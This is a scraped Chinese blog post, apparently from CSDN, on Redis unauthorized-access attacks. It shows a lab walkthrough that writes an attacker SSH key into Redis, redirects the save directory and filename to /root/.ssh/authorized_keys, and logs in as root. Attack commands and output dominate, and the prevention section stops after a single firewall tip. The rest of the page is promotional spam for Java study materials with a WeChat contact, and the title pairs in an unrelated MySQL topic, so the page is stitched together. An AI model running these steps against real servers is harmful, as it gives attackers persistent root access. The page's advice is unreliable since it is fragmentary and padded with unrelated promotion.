卧槽一文搞懂 Redis 挖矿原理及如何防范，2024年最新MySQL优化原理分析及优化方案总结

2401_84104966

于 2024-04-10 09:24:54 发布

阅读量827

点赞数 22

分类专栏： 2024年程序员学习文章标签： redis mysql 数据库

本文链接：https://blog.csdn.net/2401_84104966/article/details/137581651

版权

2024年程序员学习专栏收录该内容

186 篇文章 0 订阅

订阅专栏

文章讲述了如何通过Redis的配置更改实现远程主机提权，以及针对此漏洞的防范措施。作者还分享了Java开发者的学习资源和提升建议。

摘要由CSDN通过智能技术生成

登录Redis进行检查，是否已经写入进Redis中。

root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129

192.168.243.129:6379> get bar

“\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n”

2.3 通过Redis保存机制替换系统文件

且看如下操作

192.168.243.129:6379> config set dir /root/.ssh

192.168.243.129:6379> config get dir

1) “dir”

2) “/root/.ssh”

192.168.243.129:6379> config set dbfilename “authorized_keys”

192.168.243.129:6379> save

192.168.243.129:6379> exit

这个时候，我们登录远程主机看下效果。

root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129

The authenticity of host ‘192.168.243.129 (192.168.243.129)’ can’t be established.

ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added ‘192.168.243.129’ (ECDSA) to the list of known hosts.

Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64

Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1

root@kali:~#

OK，到这里我们已经提权成功了，那我们看下导出文件到底是什么呢？其实就是Redis的保存文件形式罢了，有兴趣可以自己打开看看，这里不再展示。

3、如何预防

这个漏洞威力还是挺大的，我们现在只是拿到主机权限一个而已，加入放到定时任务执行一些脚本然后在批量感染呢？

防范的技巧如下：

Redis不要监听在危险IP上，如果有请加防火墙控制；

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数Java工程师，想要提升技能，往往是自己摸索成长或者是报班学习，但对于培训机构动则几千的学费，着实压力不小。自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年Java开发全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友，同时减轻大家的负担。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上Java开发知识点，真正体系化！

由于文件比较大，这里只是将部分目录大纲截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新

如果你觉得这些内容对你有帮助，可以添加V获取：vip1024b （备注Java）

最后

这份《“java高分面试指南”-25分类227页1000+题50w+字解析》同样可分享给有需要的朋友，感兴趣的伙伴们可挑战一下自我，在不看答案解析的情况，测试测试自己的解题水平，这样也能达到事半功倍的效果！（好东西要大家一起看才香）

一个人可以走的很快，但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

人可以走的很快，但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**
[外链图片转存中…(img-oQ4vakOt-1712712283999)]

2401_84104966

关注

22
点赞
踩
17

收藏

觉得还不错? 一键收藏
0
评论
卧槽一文搞懂 Redis 挖矿原理及如何防范，2024年最新MySQL优化原理分析及优化方案总结

这份《“java高分面试指南”-25分类227页1000+题50w+字解析》同样可分享给有需要的朋友，感兴趣的伙伴们可挑战一下自我，在不看答案解析的情况，测试测试自己的解题水平，这样也能达到事半功倍的效果！（好东西要大家一起看才香）一个人可以走的很快，但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！人可以走的很快，但一群人才能走的更远。
复制链接

扫一扫